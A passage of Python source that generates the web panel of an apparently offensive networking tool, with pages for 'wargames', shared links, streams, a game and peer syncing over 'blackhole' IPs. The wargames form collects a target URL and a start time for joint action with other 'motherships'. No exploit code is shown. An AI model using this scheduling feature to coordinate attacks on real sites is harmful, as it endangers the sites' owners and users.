  1609. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1610. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1611. <br>
  1612. <center>
  1613. <table cellpadding="5" cellspacing="5"><tr>
  1614. <td><a href="javascript:alert('Vnïjwvödvnh says: """ + self.ranking + """... Are you searching for some real action?. Well, this is your place...');"><img src='data:image/png;base64,"""+self.alien8_img+"""'></a></td>
  1615. <td>
  1616. <pre>This feature will allow you to propose/join some real 'wargames'.
  1617. <hr>
  1618. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source' id='wargames_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'wargames' proposed by other motherships..." onclick="SyncWargames()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="wargames_deckey" id="wargames_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_wargames();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>Your proposal:</td><td><input type="text" name="wargames_target" id="wargames_target" size="30" placeholder="http(s)://" required pattern="https?://.+"></td></tr><tr><td>Date time (UTC):</td><td><input type="text" name="wargames_estimated" id="wargames_estimated" size="20" placeholder="dd-mm-yyyy hh:mm:ss" required pattern=".+-.+-.+ .+:.+:.+"> (ex: """+str(now)+""")</td></tr><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source2' id='wargames_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="wargames_enckey" id="wargames_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your proposal to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table>
  1619. <hr><br>
  1620. <u>WARGAMES</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+wargames_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  1621. def generate_links(self):
  1622. with open(self.links_file) as f:
  1623. for line in f:
  1624. line = line.strip()
  1625. f.close()
  1626. links_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TOPIC:</u></td><td align='center'><u>URL:</u></td></tr>"
  1627. for m in self.list_links: # list = creation, topic, url
  1628. if links_msg_sep in m:
  1629. m = m.split(links_msg_sep)
  1630. link_creation = m[0][0:12] # creation date
  1631. link_creation = ''.join(random.sample(link_creation,len(link_creation))) # creation date (obfuscation)
  1632. link_topic = m[1][0:12] # topic
  1633. link_topic = ''.join(random.sample(link_topic,len(link_topic))) # topic (obfuscation)
  1634. link_url = m[2][0:12] # url
  1635. link_url = ''.join(random.sample(link_url,len(link_url))) # link url (obfuscation)
  1636. links_table += "<tr><td align='center'>"+str(link_creation)+"</td><td align='center'>"+str(link_topic)+"</td><td align='center'>"+str(link_url)+"</td></tr>"
  1637. links_table += "</table>"
  1638. mother_link = "<div id='links_panel_enc' style='display:block'>"
  1639. links_table = mother_link + links_table + "</div>"
  1640. return links_table
  1641. def generate_streams(self):
  1642. with open(self.streams_file) as f:
  1643. for line in f:
  1644. line = line.strip()
  1645. f.close()
  1646. streams_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TOPIC:</u></td><td align='center'><u>STREAM:</u></td></tr>"
  1647. for m in self.list_streams: # list = creation, topic, stream
  1648. if streams_msg_sep in m:
  1649. m = m.split(streams_msg_sep)
  1650. stream_creation = m[0][0:12] # creation date
  1651. strean_creation = ''.join(random.sample(stream_creation,len(stream_creation))) # creation date (obfuscation)
  1652. stream_topic = m[1][0:12] # topic
  1653. stream_topic = ''.join(random.sample(stream_topic,len(stream_topic))) # topic (obfuscation)
  1654. stream_url = m[2][0:12] # url
  1655. stream_url = ''.join(random.sample(stream_url,len(stream_url))) # stream url (obfuscation)
  1656. streams_table += "<tr><td align='center'>"+str(stream_creation)+"</td><td align='center'>"+str(stream_topic)+"</td><td align='center'>"+str(stream_url)+"</td></tr>"
  1657. streams_table += "</table>"
  1658. mother_stream = "<div id='streams_panel_enc' style='display:block'>"
  1659. streams_table = mother_stream + streams_table + "</div>"
  1660. return streams_table
  1661. def generate_games(self):
  1662. games_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>NAME:</u></td><td align='center'><u>DESCRIPTION:</u></td><td><u>ACTION:</u></td></tr>"
  1663. with open(self.games_file) as f:
  1664. for line in f:
  1665. line = line.strip()
  1666. if games_msg_sep in line:
  1667. line = line.split(games_msg_sep)
  1668. game_name = line[0] # name
  1669. game_description = line[1] # description
  1670. games_table += "<tr><td align='center'><a onClick='javascript:PlayGame()'>"+str(game_name)+"</a></td><td align='center'>"+str(game_description)+"</td><td align='center'><button id='play_game' onclick='PlayGame();return false;'>PLAY!</button></td></tr>"
  1671. games_table += "</table>"
  1672. f.close()
  1673. mother_games = "<div id='games_panel_enc' style='display:block'>"
  1674. games_table = mother_games + games_table + "</div>"
  1675. return games_table
  1676. def generate_browser(self):
  1677. browser_table = "<iframe width='90%' height='600px' src='"+browser_init_page+"'></frame>"
  1678. return browser_table
  1679. def generate_globalnet(self):
  1680. with open(self.globalnet_file) as f:
  1681. for line in f:
  1682. line = line.strip()
  1683. f.close()
  1684. globalnet_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>OWNER:</u></td><td align='center'><u>COMMENT:</u></td><td align='center'><u>WARPING:</u></td></tr>"
  1685. for m in self.list_globalnet: # list = owner, comment, warping, ip
  1686. if globalnet_msg_sep in m:
  1687. m = m.split(globalnet_msg_sep)
  1688. globalnet_owner = m[0][0:12] # owner
  1689. globalnet_owner = ''.join(random.sample(globalnet_owner,len(globalnet_owner))) # owner (obfuscation)
  1690. globalnet_comment = m[1][0:32] # comment
  1691. globalnet_comment = ''.join(random.sample(globalnet_comment,len(globalnet_comment))) # globalnet (obfuscation)
  1692. globalnet_warp = m[2][0:12] # warp
  1693. globalnet_warp = ''.join(random.sample(globalnet_warp,len(globalnet_warp))) # warp (obfuscation)
  1694. globalnet_table += "<tr><td align='center'>"+str(globalnet_owner)+"</td><td align='center'>"+str(globalnet_comment)+"</td><td align='center'>"+str(globalnet_warp)+"</td></tr>"
  1695. globalnet_table += "</table>"
  1696. mother_globalnet = "<div id='globalnet_panel_enc' style='display:block'>"
  1697. globalnet_table = mother_globalnet + globalnet_table + "</div>"
  1698. return globalnet_table
  1699. def html_links(self):
  1700. l = time.ctime(os.path.getmtime(self.links_file)) # get last modified time
  1701. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1702. links_table = self.generate_links()
  1703. return self.pages["/header"] + """<script language="javascript">
  1704. function Decrypt_links(){
  1705. link_deckey=document.getElementById("link_deckey").value
  1706. if(link_deckey == "") {
  1707. window.alert("You need to enter a valid key (provided by someone)");
  1708. return
  1709. }else{
  1710. params="link_deckey="+escape(link_deckey)
  1711. runCommandX("cmd_decrypt_links",params)
  1712. panel_enc = document.getElementById("links_panel_enc").style.display
  1713. if(panel_enc == "block"){
  1714. panel_enc = document.getElementById("links_panel_enc").style.display = 'none';
  1715. }
  1716. }
  1717. }
  1718. function Ranking() {
  1719. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1720. }
  1721. function Grid() {
  1722. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1723. }
  1724. function Board() {
  1725. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1726. }
  1727. function Stats() {
  1728. var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1729. }
  1730. function Streams() {
  1731. var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1732. }
  1733. function SyncLinks(){
  1734. link_source=document.getElementById("link_source").value
  1735. if(link_source == "") {
  1736. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1737. return
  1738. }else{
  1739. params="link_source="+escape(link_source)
  1740. runCommandX("cmd_sync_links",params)
  1741. setTimeout("location.reload()", 10000)
  1742. }
  1743. }
  1744. function LinkFilter(filter, key) {
  1745. params="filter="+escape(filter)+"&key="+escape(key)
  1746. runCommandX("cmd_link_filter", params)
  1747. setTimeout("Decrypt_links()", 2000)
  1748. }
  1749. function Send() {
  1750. link_source2=document.getElementById("link_source2").value
  1751. link_enckey=document.getElementById("link_enckey").value
  1752. link_topic=document.getElementById("link_topic").value
  1753. link_url=document.getElementById("link_url").value
  1754. if(link_source2 == "") {
  1755. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1756. return
  1757. }else{
  1758. if(link_enckey == "") {
  1759. window.alert("You need to enter a valid key (provided by someone)");
  1760. return
  1761. }else{
  1762. if(link_url == "http://127.0.0.1") {
  1763. window.alert("You need to enter a valid link");
  1764. return
  1765. }else{
  1766. params="link_source2="+escape(link_source2)+"&link_enckey="+escape(link_enckey)+"&link_topic="+escape(link_topic)+"&link_url="+escape(link_url)
  1767. runCommandX("cmd_transfer_link",params)
  1768. setTimeout("location.reload()", 10000)
  1769. }
  1770. }
  1771. }
  1772. }
  1773. </script>
  1774. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1775. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1776. <br>
  1777. <center>
  1778. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  1779. <td><a href="javascript:alert('Armada KATRAAZKA says: SSSSssshshhhh! """ + self.ranking + """,... this is our ship-library. You can take and leave links, without any price.');"><img src='data:image/png;base64,"""+self.alien10_img+"""'></a></td>
  1780. <td>DATA/LINKS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship stats..." onclick="Stats()">VISIT STATS!</button> <button title="Visit global.streams..." onclick="Streams()">VISIT STREAMS!</button></td>
  1781. </tr></table>
  1782. <hr><br>
  1783. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='link_source' id='link_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'links' proposed by other motherships..." onclick="SyncLinks()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="link_deckey" id="link_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_links();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>TOPIC:</td><td> <select id="link_topic">
  1784. <option value="OFF" selected>OFF - NO-Topic</option>
  1785. <option value="WKP">WKP - Wikipedia + Knowledge</option>
  1786. <option value="NSA">NSA - National Space/Security Agency</option>
  1787. <option value="DPW">DPW - Deep Web / Dark Web</option>
  1788. <option value="HCP">HCP - Hacking / Cracking / Phreaking</option>
  1789. <option value="HAR">HAR - Hardware / Electronics</option>
  1790. <option value="FPR">FPR - Freedom / Privacy / Rights</option>
  1791. <option value="HAR">SEC - Hardering / C.R.Y.P.T.O</option>
  1792. <option value="APT">APT - ArT.Trolling / #PSY-OPS</option>
  1793. <option value="SPM">SPM - Propaganda + SPAM</option>
  1794. <option value="SCI">SCI - SCience + phi</option>
  1795. <option value="UFO">UFO - UFONET</option>
  1796. </select></td></tr><tr><td>Your link:</td><td><input type="text" name="link_url" id="link_url" size="90" placeholder="http(s)://" required pattern="https?://.+"></td>
  1797. </tr><tr><td>Blackhole/IP:</td><td><input type='text' name='link_source2' id='link_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="link_enckey" id="link_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your link to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table><br><br>
  1798. <hr><br>
  1799. <u>DATA.LINKS</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+links_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  1800. def html_streams(self):
  1801. l = time.ctime(os.path.getmtime(self.streams_file)) # get last modified time
  1802. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1803. streams_table = self.generate_streams()
  1804. return self.pages["/header"] + """<script language="javascript">
  1805. function Decrypt_streams(){
  1806. stream_deckey=document.getElementById("stream_deckey").value
  1807. if(stream_deckey == "") {
  1808. window.alert("You need to enter a valid key (provided by someone)");
  1809. return
  1810. }else{
  1811. params="stream_deckey="+escape(stream_deckey)
  1812. runCommandX("cmd_decrypt_streams",params)
  1813. panel_enc = document.getElementById("streams_panel_enc").style.display
  1814. if(panel_enc == "block"){
  1815. panel_enc = document.getElementById("streams_panel_enc").style.display = 'none';
  1816. }
  1817. }
  1818. }
  1819. function Ranking() {
  1820. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1821. }
  1822. function Grid() {
  1823. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1824. }
  1825. function Board() {
  1826. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1827. }
  1828. function Stats() {
  1829. var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1830. }
  1831. function Links() {
  1832. var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1833. }
  1834. function SyncStreams(){
  1835. stream_source=document.getElementById("stream_source").value
  1836. if(stream_source == "") {
  1837. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1838. return
  1839. }else{
  1840. params="stream_source="+escape(stream_source)
  1841. runCommandX("cmd_sync_streams",params)
  1842. setTimeout("location.reload()", 10000)
  1843. }
  1844. }
  1845. function StreamFilter(filter, key) {
  1846. params="filter="+escape(filter)+"&key="+escape(key)
  1847. runCommandX("cmd_stream_filter", params)
  1848. setTimeout("Decrypt_streams()", 2000)
  1849. }
  1850. function Send() {
  1851. stream_source2=document.getElementById("stream_source2").value
  1852. stream_enckey=document.getElementById("stream_enckey").value
  1853. stream_topic=document.getElementById("stream_topic").value
  1854. stream_url=document.getElementById("stream_url").value
  1855. if(stream_source2 == "") {
  1856. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1857. return
  1858. }else{
  1859. if(stream_enckey == "") {
  1860. window.alert("You need to enter a valid key (provided by someone)");
  1861. return
  1862. }else{
  1863. if (stream_url.startsWith("https://www.youtube.com/watch?v=") == false){
  1864. window.alert("You need to enter a valid (only Youtube is supported) URL stream (ex: https://www.youtube.com/watch?v=xxxxxxxxxxx)");
  1865. return
  1866. }else{
  1867. params="stream_source2="+escape(stream_source2)+"&stream_enckey="+escape(stream_enckey)+"&stream_topic="+escape(stream_topic)+"&stream_url="+escape(stream_url)
  1868. runCommandX("cmd_transfer_stream",params)
  1869. setTimeout("location.reload()", 10000)
  1870. }
  1871. }
  1872. }
  1873. }
  1874. function PlayStream(stream_num) {
  1875. var str1 = "play_button_";
  1876. var str2 = stream_num;
  1877. var play_button_id = str1.concat(str2);
  1878. var str3 = "video_";
  1879. var video_play = str3.concat(str2);
  1880. video_id = document.getElementById(play_button_id).value;
  1881. document.getElementById(play_button_id).style.display = 'none';
  1882. document.getElementById(video_play).style.display = 'block';
  1883. document.getElementById(video_play).innerHTML = "<div id='player'></div>";
  1884. var tag = document.createElement('script');
  1885. tag.src = "https://www.youtube.com/iframe_api";
  1886. var firstScriptTag = document.getElementsByTagName('script')[0];
  1887. firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);
  1888. }
  1889. var player;
  1890. function onYouTubeIframeAPIReady() {
  1891. player = new YT.Player('player', {
  1892. height: '390',
  1893. width: '640',
  1894. videoId: video_id,
  1895. events: {
  1896. 'onReady': onPlayerReady,
  1897. 'onStateChange': onPlayerStateChange
  1898. }
  1899. });
  1900. }
  1901. function onPlayerReady(event) {
  1902. event.target.playVideo();
  1903. }
  1904. var done = false;
  1905. function onPlayerStateChange(event) {
  1906. if (event.data == YT.PlayerState.PLAYING && !done) {
  1907. done = true;
  1908. }
  1909. if (event.data === 0) {
  1910. document.getElementById(play_button_id).style.display = 'block';
  1911. document.getElementById(video_play).style.display = 'none';
  1912. }
  1913. }
  1914. function stopVideo() {
  1915. player.stopVideo();
  1916. document.getElementById(play_button_id).style.display = 'block';
  1917. document.getElementById(video_play).style.display = 'none';
  1918. }
  1919. </script>
  1920. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1921. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1922. <br>
  1923. <center>
  1924. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  1925. <td><a href="javascript:alert('Dr. UHÑÄAUFKATRAAZKA says: Hello! """ + self.ranking + """,... these are the current (audio/video/live) streams available. Enjoy!');"><img src='data:image/png;base64,"""+self.alien9_img+"""'></a></td>
  1926. <td>STREAMS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship stats..." onclick="Stats()">VISIT STATS!</button> <button title="Visit ship.links..." onclick="Links()">VISIT LINKS!</button></td>
  1927. </tr></table>
  1928. <hr><br>
  1929. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='stream_source' id='stream_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'streams' proposed by other motherships..." onclick="SyncStreams()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="stream_deckey" id="stream_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_streams();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>TOPIC:</td><td> <select id="stream_topic">
  1930. <option value="OFF" selected>OFF - NO-Topic</option>
  1931. <option value="WKP">WKP - Wikipedia + Knowledge</option>
  1932. <option value="NSA">NSA - National Space/Security Agency</option>
  1933. <option value="DPW">DPW - Deep Web / Dark Web</option>
  1934. <option value="HCP">HCP - Hacking / Cracking / Phreaking</option>
  1935. <option value="HAR">HAR - Hardware / Electronics</option>
  1936. <option value="FPR">FPR - Freedom / Privacy / Rights</option>
  1937. <option value="HAR">SEC - Hardering / C.R.Y.P.T.O</option>
  1938. <option value="APT">APT - ArT.Trolling / #PSY-OPS</option>
  1939. <option value="SPM">SPM - Propaganda + SPAM</option>
  1940. <option value="SCI">SCI - SCience + phi</option>
  1941. <option value="UFO">UFO - UFONET</option>
  1942. </select></td></tr><tr><td>Your (url) stream:</td><td><input type="text" name="stream_url" id="stream_url" size="90" placeholder="http(s)://" required pattern="https?://.+"></td>
  1943. </tr><tr><td>Blackhole/IP:</td><td><input type='text' name='stream_source2' id='stream_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="stream_enckey" id="stream_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your stream to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table><br><br>
  1944. <hr><br>
  1945. <u>VIDEO.STREAMS</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+streams_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  1946. def html_games(self):
  1947. games_table = self.generate_games()
  1948. return self.pages["/header"] + """<script language="javascript">
  1949. function Ranking() {
  1950. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1951. }
  1952. function Wargames() {
  1953. var win_wargames = window.open("wargames","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1954. }
  1955. function Grid() {
  1956. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1957. }
  1958. function Board() {
  1959. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1960. }
  1961. function Stats() {
  1962. var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1963. }
  1964. function PlayGame() {
  1965. var win_game = window.open("spaceinvaders","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1966. }
  1967. </script>
  1968. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1969. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1970. <br>
  1971. <center>
  1972. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  1973. <td><a href="javascript:alert('Barrier UJJJHGYTYGASOO-IV says: HI slave!... I mean ... worker!... I mean, """ + self.ranking + """,... Do you wanna play some games?!');"><img src='data:image/png;base64,"""+self.alien12_img+"""'></a></td>
  1974. <td>GAMES device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship stats..." onclick="Stats()">VISIT STATS!</button> <button title="Visit current ship.Wargames..." onclick="Wargames()">VISIT WARGAMES!</button></td>
  1975. </tr></table>
  1976. <hr><br>
  1977. <u>SHIP.GAMES</u>: <br><br>"""+games_table+"""<br><br>"""+ self.pages["/footer"]
  1978. def html_spaceinvaders(self):
  1979. return self.pages["/header"] + """<script language="javascript"></script>
  1980. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1981. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1982. <br><center>
  1983. <hr><br>
  1984. <div id="gamecontainer">
  1985. <canvas id="gameCanvas"></canvas>
  1986. </div>
  1987. <div id="info">
  1988. <p>Move with arrow keys or swipe, fire with the space bar or touch. The invaders get faster and drop
  1989. more bombs as you complete each level!</p>
  1990. </div></script><script src="js/spaceinvaders.js"></script><script>
  1991. var canvas = document.getElementById("gameCanvas");
  1992. canvas.width = 800;
  1993. canvas.height = 600;
  1994. var game = new Game();
  1995. game.initialise(canvas);
  1996. game.start();
  1997. window.addEventListener("keydown", function keydown(e) {
  1998. var keycode = e.which || window.event.keycode;
  1999. // Supress further processing of left/right/space (37/29/32)
  2000. if(keycode == 37 || keycode == 39 || keycode == 32) {
  2001. e.preventDefault();
  2002. }
  2003. game.keyDown(keycode);
  2004. });
  2005. window.addEventListener("keyup", function keydown(e) {
  2006. var keycode = e.which || window.event.keycode;
  2007. game.keyUp(keycode);
  2008. });
  2009. window.addEventListener("touchstart", function (e) {
  2010. game.touchstart(e);
  2011. }, false);
  2012. window.addEventListener('touchend', function(e){
  2013. game.touchend(e);
  2014. }, false);
  2015. window.addEventListener('touchmove', function(e){
  2016. game.touchmove(e);
  2017. }, false);
  2018. function toggleMute() {
  2019. game.mute();
  2020. document.getElementById("muteLink").innerText = game.sounds.mute ? "unmute" : "mute";
  2021. }
  2022. </script><br><br>"""+ self.pages["/footer"]
  2023. def html_browser(self):
  2024. browser_table = self.generate_browser()
  2025. return self.pages["/header"] + """<script language="javascript">
  2026. function Ranking() {
  2027. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2028. }
  2029. function Grid() {
  2030. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2031. }
  2032. function Board() {
  2033. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2034. }
  2035. function Links() {
  2036. var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2037. }
  2038. function Streams() {
  2039. var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2040. }
  2041. </script>
  2042. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2043. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2044. <br>
  2045. <center>
  2046. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  2047. <td><a href="javascript:alert('Rockoide GRAAANJJÄEEEB says: HI organic living structure..., """ + self.ranking + """,... You can navigate/surf the Net from here...');"><img src='data:image/png;base64,"""+self.alien13_img+"""'></a></td>
  2048. <td>BROWSER device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship.Links..." onclick="Links()">VISIT LINKS!</button> <button title="Visit current ship.Streams..." onclick="Streams()">VISIT STREAMS!</button></td>
  2049. </tr></table>
  2050. <hr><br>"""+browser_table+"""<br><br>"""+ self.pages["/footer"]
  2051. def html_globalnet(self):
  2052. l = time.ctime(os.path.getmtime(self.links_file)) # get last modified time
  2053. globalnet_table = self.generate_globalnet()
  2054. return self.pages["/header"] + """<script language="javascript">
  2055. function Ranking() {
  2056. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2057. }
  2058. function Grid() {
  2059. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2060. }
  2061. function Board() {
  2062. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2063. }
  2064. function Warps() {
  2065. var win_blackholes = window.open("blackholes","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2066. }
  2067. function SyncGlobalnet(){
  2068. globalnet_source=document.getElementById("globalnet_source").value
  2069. if(globalnet_source == "") {
  2070. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  2071. return
  2072. }else{
  2073. params="globalnet_source="+escape(globalnet_source)
  2074. runCommandX("cmd_sync_globalnet",params)
  2075. setTimeout("location.reload()", 10000)
  2076. }
  2077. }
  2078. function Decrypt_globalnet(){
  2079. globalnet_deckey=document.getElementById("globalnet_deckey").value
  2080. if(globalnet_deckey == "") {
  2081. window.alert("You need to enter a valid key (provided by someone)");
  2082. return
  2083. }else{
  2084. params="globalnet_deckey="+escape(globalnet_deckey)
  2085. runCommandX("cmd_decrypt_globalnet",params)
  2086. panel_enc = document.getElementById("globalnet_panel_enc").style.display
  2087. if(panel_enc == "block"){
  2088. panel_enc = document.getElementById("globalnet_panel_enc").style.display = 'none';
  2089. }
  2090. }
  2091. }
  2092. function GlobalnetFilter(filter, key) {
  2093. params="filter="+escape(filter)+"&key="+escape(key)
  2094. runCommandX("cmd_globalnet_filter", params)
  2095. setTimeout("Decrypt_globalnet()", 2000)
  2096. }
  2097. function Send() {
  2098. globalnet_source2=document.getElementById("globalnet_source2").value
  2099. globalnet_enckey=document.getElementById("globalnet_enckey").value
